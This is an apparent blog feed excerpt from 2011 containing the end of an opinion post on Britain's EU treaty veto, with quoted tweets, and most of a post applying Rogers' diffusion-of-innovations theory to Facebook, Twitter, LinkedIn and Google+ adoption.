— :0) (@VoiceOfMarmite) &lt;a data-datetime="2011-12-09T09:59:09+00:00" href="https://twitter.com/VoiceOfMarmite/status/145080030723186688"&gt;December9, 2011&lt;/a&gt;&lt;/blockquote&gt;
&lt;script charset="utf-8" src="//platform.twitter.com/widgets.js"&gt;
&lt;/script&gt;
As a prime example, the &lt;a href="http://en.wikipedia.org/wiki/Common_Agricultural_Policy"&gt;Common Agricultural Policy&lt;/a&gt; which is designed "&lt;i&gt;to provide farmers with a reasonable standard of living, consumers with quality food at fair prices and to preserve rural heritage&lt;/i&gt;", tends to redistribute funds from more urbanised countries like the Netherlands and the United Kingdom to those where agriculture actually takes place. It's an important (albeit changing) function and it commands almost half of the EU's budget.&lt;br /&gt;
&lt;br /&gt;
Another example of unnecessary friction is their [self-]exclusion from the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Schengen_Agreement"&gt;Schengen Agreement&lt;/a&gt;, which creates a borderless area within Europe, thus facilitating transport and commerce. You still have to pass border control when you enter or leave the Schengen area, including when traveling to/from the &lt;a href="http://en.wikipedia.org/wiki/Common_Travel_Area"&gt;Common Travel Area&lt;/a&gt; (consisting only of the United Kingdom and Ireland, which are connected on the island of Ireland by the border between the Republic of Ireland and Northern Ireland), but you can travel freely within it once you're there and there are visas which cover the entire region.&lt;br /&gt;
&lt;br /&gt;
Cutting to the chase, it is of no surprise then that the brits would be stubborn when it came to changing the treaty by unanimous vote — indeed I've been predicting that for a while and was &lt;a href="https://twitter.com/#!/samj/status/144515284227723266"&gt;certain it would happen&lt;/a&gt; a few days ago. What is a surprise though is just how belligerent and childish they've been about it — as a frenchman &lt;a href="https://twitter.com/#!/vambenepe/status/145057104472981505"&gt;said&lt;/a&gt;&amp;nbsp;in&amp;nbsp;reference to the following video from The Telegraph's excellent article &lt;a href="http://www.telegraph.co.uk/finance/financialcrisis/8945155/EU-suffers-worst-split-in-history-as-David-Cameron-blocks-treaty-change.html"&gt;EU suffers worst split in history as David Cameron blocks treaty change&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote class="twitter-tweet"&gt;
Cameron is making Sarkozy look like a statesman. Quite an achievement.&lt;br /&gt;
— William Vambenepe (@vambenepe) &lt;a data-datetime="2011-12-09T08:28:03+00:00" href="https://twitter.com/vambenepe/status/145057104472981505"&gt;December9, 2011&lt;/a&gt;&lt;/blockquote&gt;
&lt;script src="http://player.ooyala.com/player.js?embedCode=45aWE0Mzq1FTw80WkKBkjtUAefPpZGNn&amp;amp;width=560&amp;amp;height=315&amp;amp;deepLinkEmbedCode=45aWE0Mzq1FTw80WkKBkjtUAefPpZGNn&amp;amp;video_pcode=RvbGU6Z74XE_a3bj4QwRGByhq9h2&amp;amp;playerBrandingId=7dfd98005dba40baacc82277f292e522&amp;amp;thruParam_tmgui[relatedVideo]=http%3A%2F%2Fcdn.api.ooyala.com%2Fv2%2Fassets%3Fwhere%3Dembed_code%2Bin%26api_key%3DRvbGU6Z74XE_a3bj4QwRGByhq9h2.WFFAb%26expires%3D1640995199%26signature%3Djy0k5y0KlKnXRvaz8YfB%252Fs1iFHFedXPEda0wTd6P0Fo"&gt;
&lt;/script&gt;
&lt;br /&gt;
Another user&amp;nbsp;&lt;a href="https://twitter.com/_pigeons_/status/145059817529155584"&gt;tweeted&lt;/a&gt;:
&lt;br /&gt;
&lt;blockquote class="twitter-tweet"&gt;
David Cameron tends to sound like he's explaining things to very small children "&amp;amp; that's why I had to send the dog to live on a farm..."&lt;br /&gt;
— Sarah Connolly (@_Pigeons_) &lt;a data-datetime="2011-12-09T08:38:50+00:00" href="https://twitter.com/_Pigeons_/status/145059817529155584"&gt;December9, 2011&lt;/a&gt;&lt;/blockquote&gt;
Also &lt;a href="https://twitter.com/_pigeons_/status/145061746929975296"&gt;retweeting&lt;/a&gt;:
&lt;br /&gt;
&lt;blockquote class="twitter-tweet"&gt;
"Safeguard the interests of the city" makes me bloody mad. They're the c***s who got us in this mess, why are we protecting them?&lt;br /&gt;
— Bill Wilkinson (@DrBillyo) &lt;a data-datetime="2011-12-09T08:05:58+00:00" href="https://twitter.com/DrBillyo/status/145051548609806336"&gt;December9, 2011&lt;/a&gt;&lt;/blockquote&gt;
A fair question if you ask me (and if the language upsets you more than the situation itself then you might want to reconsider your priorities). Others&amp;nbsp;&lt;a href="https://twitter.com/allaboutbrains/status/145080141817712640"&gt;agreed&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote class="twitter-tweet"&gt;
So Cameron isolates the UK politically through lack of diplomatic sophistication and schoolboy immaturity. The French played him well...&lt;br /&gt;
— Deep thought (@allaboutbrains) &lt;a data-datetime="2011-12-09T09:59:35+00:00" href="https://twitter.com/allaboutbrains/status/145080141817712640"&gt;December9, 2011&lt;/a&gt;&lt;/blockquote&gt;
&lt;a href="https://twitter.com/chriscar93/status/145080081247780864"&gt;And&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote class="twitter-tweet"&gt;
David Cameron really has a knack of isolating himself from every1 in the world and he's bringing UK down with him. Cut the cord on Cameron&lt;br /&gt;
— Chris Carruthers (@chriscar93) &lt;a data-datetime="2011-12-09T09:59:21+00:00" href="https://twitter.com/chriscar93/status/145080081247780864"&gt;December9, 2011&lt;/a&gt;&lt;/blockquote&gt;
I think Simon Wardley sums it up nicely though:
&lt;br /&gt;
&lt;blockquote class="twitter-tweet"&gt;
Cameron has no right to relegate UK &amp;amp; hence my son's future to a 2nd tier of Europe just to please the city - &lt;a href="http://t.co/8Nt5B7j6" title="http://bbc.in/w0Z5y5"&gt;bbc.in/w0Z5y5&lt;/a&gt;. &lt;a href="https://twitter.com/search/%2523tosser"&gt;#tosser&lt;/a&gt;&lt;br /&gt;
— swardley (@swardley) &lt;a data-datetime="2011-12-09T10:10:17+00:00" href="https://twitter.com/swardley/status/145082830878285824"&gt;December9, 2011&lt;/a&gt;&lt;/blockquote&gt;
From my point of view the brits are [allowing their representatives to get away with] acting like petulant children, benefiting from the European Union when it suits them, and taking their toys home when it doesn't. Their argument that the very establishment that got us into this mess must absolutely be protected above all else is weak — and that it is in the interests of the city, let alone the entire country, deceptive.&lt;br /&gt;
&lt;br /&gt;
They "very doggedly" (their words) sought "a 'protocol' giving the City of London protection from a wave of EU financial service regulations related to the eurozone crisis". That's right, they didn't want to play by the same rules as everyone else, and exercised their veto when it became apparent that was the only option.&lt;br /&gt;
&lt;br /&gt;
To add insult to injury, they "warned the new bloc that it would not be able to use the resources of the EU, raising real doubts as to whether the eurozone would be able to enforce fiscal rules in order to calm the markets". So not only are they going to not participate in cleaning up the mess they played a key role in creating, but they're going to do their best to make sure nobody else can either.&lt;br /&gt;
&lt;br /&gt;
Fortunately there's light at the end of the tunnel: "Cameron was clumsy in his manoeuvring," a senior EU diplomat said. “It may be possible that Britain will shift its position in the days ahead if it discovers that isolation really is not a viable course of action.” Please take a moment today to express your discontent with this decision as sometimes in order to serve your own interests you also need to consider those of others — in much the same way as the &lt;a href="http://en.wikipedia.org/wiki/Tragedy_of_the_commons"&gt;tragedy of the commons&lt;/a&gt; (where in this case the commons is the European and global markets).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; Another great [opinion] piece from The Telegraph: &lt;a href="http://blogs.telegraph.co.uk/news/maryriddell/100122906/cameron-the-bulldog-has-no-teeth/"&gt;Cameron: the bulldog has no teeth&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;i&gt;Cameron (and Britain) are now in a no-win situation. If the eurozone countries start to rally, then we shall be isolated from the new bloc and stuck in the slow lane of Europe. Should the euro problems deepen, then we shall bear the consequences in full. As George Osborne has indicated, a disorderly collapse of the euro would drag a voiceless Britain into depression.
&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;...
&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;In France and Germany, Cameron will be blamed for exacerbating a crisis by leaders who will brand him the pariah of Europe. Overnight, Britain has changed from a major player to an isolated outpost which, if this goes on, will become about as significant on the global stage as the Isle of Mull. Churchill would be turning in his grave.
&lt;/i&gt;&lt;/blockquote&gt;
&lt;b&gt;Related&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;a href="http://www.guardian.co.uk/commentisfree/2011/dec/09/cameron-let-britain-down-europe"&gt;The Guardian: David Cameron has let Britain down&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.economist.com/blogs/charlemagne/2011/12/britain-and-eu-summit"&gt;The Economist:&amp;nbsp;Europe's great divorce&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rt.com/news/keiser-cameron-eu-summit-471/"&gt;‘David Cameron just committed economic suicide’ – Keiser&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.guardian.co.uk/commentisfree/2011/dec/09/cameron-no-bad-britain-europe"&gt;The Guardian:&amp;nbsp;David Cameron's 'no' is bad for Britain and for Europe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.telegraph.co.uk/finance/financialcrisis/8946772/EU-Treaty-Britain-left-isolated-by-veto-says-US.html"&gt;The Telegraph:&amp;nbsp;EU Treaty: Britain left isolated by veto, says US&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-4053331146204872806?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=FNrKFiYD0Mg:Trd3cybF3Cg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=FNrKFiYD0Mg:Trd3cybF3Cg:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=FNrKFiYD0Mg:Trd3cybF3Cg:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=FNrKFiYD0Mg:Trd3cybF3Cg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=FNrKFiYD0Mg:Trd3cybF3Cg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=FNrKFiYD0Mg:Trd3cybF3Cg:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=FNrKFiYD0Mg:Trd3cybF3Cg:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=FNrKFiYD0Mg:Trd3cybF3Cg:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=FNrKFiYD0Mg:Trd3cybF3Cg:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/FNrKFiYD0Mg" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-10T10:59:39.930+01:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">9</thr:total><feedburner:origLink>http://samj.net/2011/12/word-on-future-of-europe-without-united.html</feedburner:origLink></item><item><title>Infographic: Diffusion of Social Networks — Facebook, Twitter, LinkedIn and Google+</title><link>http://feedproxy.google.com/~r/samj/~3/MSejjFHmxx4/infographic-diffusion-of-social.html</link><author>samj@samj.net (Sam Johnston)</author><pubDate>Wed, 23 Nov 2011 12:04:43 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-2527536842269081225</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-Tf1KJWR53ys/TrsbEAGKJeI/AAAAAAAAAY8/t40cVWI0FzQ/s1600/diffusion-of-social-networks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="528" src="http://1.bp.blogspot.com/-Tf1KJWR53ys/TrsbEAGKJeI/AAAAAAAAAY8/t40cVWI0FzQ/s640/diffusion-of-social-networks.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-Tf1KJWR53ys/TrsbEAGKJeI/AAAAAAAAAY8/t40cVWI0FzQ/s1600/diffusion-of-social-networks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="41" src="http://2.bp.blogspot.com/-OUAdm2AP3Aw/Trsn_jTO6cI/AAAAAAAAAZM/8ykgf0jQyjY/s200/download.jpeg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
&lt;b&gt;Social networking market&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
They say a picture's worth a thousand words and much digital ink has been spilled recently on impressive sounding (yet relatively unimpressive) user counts, so&amp;nbsp;&lt;a href="http://4.bp.blogspot.com/-KvkEz3cll5U/TrkliKOkxKI/AAAAAAAAAYM/lQAjJY7hw6o/s1600/diffusion-of-social-networks.png" style="color: #1155cc;" target="_blank"&gt;here's an infographic&lt;/a&gt;&amp;nbsp;showing the diffusion of social networks as at last month to put things in perspective.&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
There are 7 billion people on the planet, of which&amp;nbsp;&lt;a href="http://www.internetworldstats.com/stats.htm" style="color: #1155cc;" target="_blank"&gt;2 billion are on the Internet&lt;/a&gt;. Given Facebook are now starting to make inroads into the laggards (e.g. parents/grandparents) with 800 million active users already under their belt, I've assumed that the total addressable market (TAM) for social media (that is, those likely to use it in the short-medium term) is around a billion Internet users (i.e. half) and growing — both with the growth of the Internet and as growing fraction of Internet users.&amp;nbsp;&lt;b&gt;That gives social media market shares of 80% for Facebook, 20% for Twitter&lt;/b&gt;&lt;b&gt;&amp;nbsp;and &amp;lt;5% for Google+.&amp;nbsp;In other words, Twitter is 5x the size of Google+ and Facebook is 4x the size of Twitter (e.g. 20x the size of Google+).&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
It's important to note that while some report active users, Google report total (e.g. best case) users — only a percentage of the total users are active at any one time.&amp;nbsp;&lt;span style="background-color: white;"&gt;I'm also hesitant to make direct comparisons with LinkedIn as while everyone is potentially interested in Facebook, Twitter and Google+, the total addressable market for a professional network is limited, by definition, to professionals — I would say around 200 million and growing fast given the penetration I see in my own professional network. This puts them in a similar position to Facebook in this space — up in the top right chasing after the laggards rather than the bottom left facing the chasm.&lt;/span&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
&lt;b&gt;Diffusion of innovations&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
The graph shows&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Everett_Rogers" style="color: #1155cc;" target="_blank"&gt;Rogers&lt;/a&gt;' theory on the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Diffusion_of_innovations" style="color: #1155cc;" target="_blank"&gt;diffusion of innovations&lt;/a&gt;, documented in&amp;nbsp;&lt;a href="http://www.amazon.com/gp/product/0062060244/ref=as_li_ss_tl?ie=UTF8&amp;amp;tag=ausonline&amp;amp;linkCode=as2&amp;amp;camp=217145&amp;amp;creative=399373&amp;amp;creativeASIN=0062060244" style="color: #1155cc;" target="_blank"&gt;The Innovator's Dilemma&lt;/a&gt;, where&amp;nbsp;diffusion is the process by which&amp;nbsp;&lt;i&gt;an innovation is communicated through certain channels over time among the members of a social system&lt;/i&gt;. There are 5 stages:&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222;"&gt;
&lt;/div&gt;
&lt;ol style="background-color: white; color: #222222;"&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Knowledge&lt;/b&gt;&amp;nbsp;is when people are aware of the innovation but don't know (and don't care) about it.&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Persuasion&lt;/b&gt;&amp;nbsp;is when people are interested in learning more.&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Decision&lt;/b&gt;&amp;nbsp;is when people decide to accept or reject it.&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Implementation&lt;/b&gt;&amp;nbsp;is when people employ it to some degree for testing (e.g. create an account).&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Confirmation&lt;/b&gt;&amp;nbsp;is when people finally decide to use it, possibly to its full potential.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
I would suggest that the majority of the total addressable market are at stage 1 or 2 for Google+ and Twitter, and stage 4 or 5 for Facebook and LinkedIn (with its smaller TAM). Of note, users' decisions to reject an innovation at the decision or implementation phase may be semi-permanent — to quote Slate magazine's &lt;a href="http://www.slate.com/articles/technology/technology/2011/11/google_had_a_chance_to_compete_with_facebook_not_anymore_.html"&gt;Google+ is Dead&lt;/a&gt; article, "&lt;i&gt;by failing to offer people a reason to keep coming back to the site every day, Google+ made a bad first impression. And in the social-networking business, a bad first impression spells death.&lt;/i&gt;" The same could be said for many users of Twitter, who sign up but fail to engage sufficiently to realise its true value.&amp;nbsp;Facebook, on the other hand, often exhibits users who leave only to subsequently return due to&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Network_effect" style="color: #1155cc;" target="_blank"&gt;network effects&lt;/a&gt;.&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
Social networking is also arguably a&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Natural_monopoly" style="color: #1155cc;" target="_blank"&gt;natural monopoly&lt;/a&gt;&amp;nbsp;given, among other things, dramatically higher acquisition costs once users' changing needs have been satisfied by the first mover (e.g. Facebook). Humans have been using social networking forever, only until recently it's been manual and physiologically limited to around 150 connections (&lt;a href="http://en.wikipedia.org/wiki/Dunbar's_number" style="color: #1155cc;" target="_blank"&gt;Dunbar's number&lt;/a&gt;, named after British anthropologist Robin Dunbar). With the advent of technology that could displace traditional systems like business cards and rolodexes came a new demand for pushing the limits for personal and professional reasons — I use Facebook and LinkedIn extensively to push Dunbar's number out an order of magnitude to ~1,500 contacts for example, and Twitter to make new contacts and communicate with thousands of people. I don't want to maintain 4 different social networks any more than I want to have to search 4 different directories to find a phone number — I already have 3 which is 2 too many!&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;b&gt;Rogers' 5 factors&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
How far an innovation ultimately progresses depends on 5 factors:&lt;/div&gt;
&lt;ol style="background-color: white; color: #222222;"&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Relative Advantage&lt;/b&gt;&amp;nbsp;— Does it improve substantially on the status quo (e.g. Facebook)?&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Compatibility&lt;/b&gt;&amp;nbsp;— Can it be easily assimilated into an individual's life?&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Simplicity or Complexity&lt;/b&gt;&amp;nbsp;— Is it too complex for your average user?&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Trialability&lt;/b&gt;&amp;nbsp;— How easy is it to experiment?&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Observability&lt;/b&gt;&amp;nbsp;— To what extent is it visible to others (e.g. for viral adoption)&lt;/li&gt;
&lt;/ol&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
Facebook, which started as a closed community at Harvard and other colleges and grew from there, obviously offered significant&amp;nbsp;&lt;i&gt;relative advantage&lt;/i&gt;&amp;nbsp;over MySpace. I was in California at the time and it seemed like everyone had a MySpace page while only students (and a few of us in local/company networks) had Facebook. It took off like wildfire when they solved the&amp;nbsp;&lt;i&gt;trialability&lt;/i&gt;&amp;nbsp;problem by opening the floodgates and a critical mass of users was quickly drawn in due to the&amp;nbsp;&lt;i&gt;observability&lt;/i&gt;&amp;nbsp;of viral email notifications, the&amp;nbsp;&lt;i&gt;simplicity&lt;/i&gt;&amp;nbsp;of getting up and running and the&amp;nbsp;&lt;i&gt;compatibility&lt;/i&gt;&amp;nbsp;with users' lives (features incompatible with the unwashed masses — such as the egregiously abused "how we met" form — are long gone and complex lists/groups are there for those who need them but invisible to those who don't). Twitter is also trivial to get started but can be difficult to extract value from initially.&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;
&lt;b&gt;Network models&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
Conversely, the&amp;nbsp;&lt;i&gt;complexity&lt;/i&gt;&amp;nbsp;of getting started on Google+ presents a huge barrier to entry and as a result we may see the circles interface buried in favour of a flat "follower" default like that of Twitter (the "suggested user list" has already appeared), or &lt;a href="http://www.eweek.com/c/a/Messaging-and-Collaboration/Google-Corrals-Katango-to-Automate-Google-Circles-146614/"&gt;automated&lt;/a&gt;. Just because our real-life social networks are complex and dynamic does not imply that your average user is willing to invest time and energy in maintaining a complex and dynamic digital model.&amp;nbsp;&lt;span style="background-color: white;"&gt;The process of sifting through and categorising friends into circles has been likened to the arduous process of arranging tables for a wedding and for the overwhelming majority of users it simply does not offer a return on investment:&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-9tuIVJUNDNM/Ts1BFAXfJXI/AAAAAAAAAZ4/q9NAc7jxuG0/s1600/circles.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="383" src="http://3.bp.blogspot.com/-9tuIVJUNDNM/Ts1BFAXfJXI/AAAAAAAAAZ4/q9NAc7jxuG0/s400/circles.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style="background-color: white;"&gt;In reality we're most comfortable with concentric rings, which Facebook's hybrid model recently introduced by way of "Close Friends", "Acquaintances" and "Restricted" lists (as well as automatically maintained lists for locations and workplaces — a feature I hope gets extended to other attributes). By default Facebook is simple/flat — mutual/confirmed/2-way connections are "Friends" (though they now also support 1-way follower/subscriber relationships ala Twitter). Concentric rings then offer a greater degree of flexibility for more advanced users and the most demanding users can still model arbitrarily complex networks using lists:&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-sPONqjVCFbY/Ts1BNl4rwvI/AAAAAAAAAaA/TNtVKhY3Ar0/s1600/concentric-rings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/-sPONqjVCFbY/Ts1BNl4rwvI/AAAAAAAAAaA/TNtVKhY3Ar0/s400/concentric-rings.png" width="305" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style="background-color: white;"&gt;In any case,&amp;nbsp;&lt;/span&gt;&lt;span style="background-color: white;"&gt;if you give users the ability to restrict sharing you run the risk of their actually using it, which is a sure-fire way to kill off your social network&lt;/span&gt;&lt;span style="background-color: white;"&gt;&amp;nbsp;— after all, much of the value derived from networks like Facebook is from "harmless voyeurism". That's why Google+ is &lt;/span&gt;&lt;a href="http://www.pbs.org/mediashift/2011/09/google-social-media-upstart-worse-than-a-ghost-town262.html" style="background-color: white; color: #1155cc;" target="_blank"&gt;worse than a ghost town&lt;/a&gt;&lt;span style="background-color: white;"&gt;&amp;nbsp;for many users (including myself, though as a Google Apps users I was &lt;a href="http://googleenterprise.blogspot.com/2011/03/coming-soon-to-google-apps-1-button-and.html"&gt;excluded&lt;/a&gt; from the landrush phase) while being &lt;a href="https://plus.google.com/111091089527727420853/posts/9qzV1AS2rJZ"&gt;too noisy&lt;/a&gt; for others. Furthermore, while Facebook and Twitter have a subscribe/follow ("pull") model which allows users to be selective of what they hear, when a publisher shares content with circles on Google+ other users are explicitly notified ("push") — this is important for "observability" but can be annoying for users.&lt;/span&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;
&lt;b&gt;Nymwars&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
The requirement to provide and/or share your&amp;nbsp;&lt;b&gt;&lt;u&gt;real&lt;/u&gt;&lt;/b&gt;&amp;nbsp;name, sex, date of birth and a photo also presents a&amp;nbsp;&lt;i&gt;compatibility&lt;/i&gt;&amp;nbsp;problem with many users' expectations of privacy and security, as evidenced by the&amp;nbsp;&lt;a href="https://www.google.com/search?q=google%2B+real+names" style="color: #1155cc;" target="_blank"&gt;resulting protests&lt;/a&gt;&amp;nbsp;over&amp;nbsp;&lt;a href="http://infotrope.net/2011/07/25/preliminary-results-of-my-survey-of-suspended-google-accounts/" style="color: #1155cc;" target="_blank"&gt;valid use cases&lt;/a&gt;&amp;nbsp;for&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Anonymity" style="color: #1155cc;" target="_blank"&gt;anonymity&lt;/a&gt;&amp;nbsp;and pseudonymity. For something that was accepted largely without question with Facebook, the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Nymwars" style="color: #1155cc;" target="_blank"&gt;nymwars&lt;/a&gt;&amp;nbsp;appear to have caused&amp;nbsp;&lt;a href="http://www.jwz.org/blog/2011/10/eff-declares-premature-victory-in-nymwars/" style="color: #1155cc;" target="_blank"&gt;irreparable&lt;/a&gt;&amp;nbsp;&lt;a href="http://tigerbeatdown.com/2011/08/03/the-google-nymwars-where-identity-and-capitalism-collide/" style="color: #1155cc;" target="_blank"&gt;harm&lt;/a&gt;&amp;nbsp;to Google+ in the critically important innovator and early adopter segments, for reasons that are not entirely clear to me. I presume that there is a greater expectation of privacy for Google (to whom people entrust private emails, documents, etc.) than for Facebook (which people use specifically and solely for controlled sharing).&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;b&gt;Adopter categories&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
Finally, there are 5 classes of adopters (along the X axis) varying over time as the innovation attains deeper penetration:&lt;/div&gt;
&lt;ol style="background-color: white; color: #222222;"&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Innovators&lt;/b&gt;&amp;nbsp;(the first 2.5%) are generally young, social,&amp;nbsp;&lt;s&gt;wealthy&lt;/s&gt;, risk tolerant individuals who adopt first.&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Early Adopters&lt;/b&gt;&amp;nbsp;(the next 13.5%) are opinion leaders who adopt early enough (but not too early) to&amp;nbsp;maintain a central communication position.&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Early Majority&lt;/b&gt;&amp;nbsp;(the next 34%, to 50% of the population) take significantly longer to adopt innovations.&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Late Majority&lt;/b&gt;&amp;nbsp;(the next 34%) adopt innovations after the average member of society and tend to be highly sceptical.&lt;/li&gt;
&lt;li style="margin-left: 15px;"&gt;&lt;b&gt;Laggards&lt;/b&gt;&amp;nbsp;(the last 16%)&amp;nbsp;show little to no opinion leadership and tend to be older, more reclusive and&amp;nbsp;have an aversion to change-agents.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
I've ruled out wealth because while buying an iPhone is expensive (and thus a barrier to entry), signing up for a social network is free.&lt;br /&gt;
&lt;br /&gt;
The peak of the bell curve is the point at with the average user (e.g. 50% of the market) has adopted the technology, and it is very difficult both to climb the curve as a new technology and to displace an existing technology that is over the hump.&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
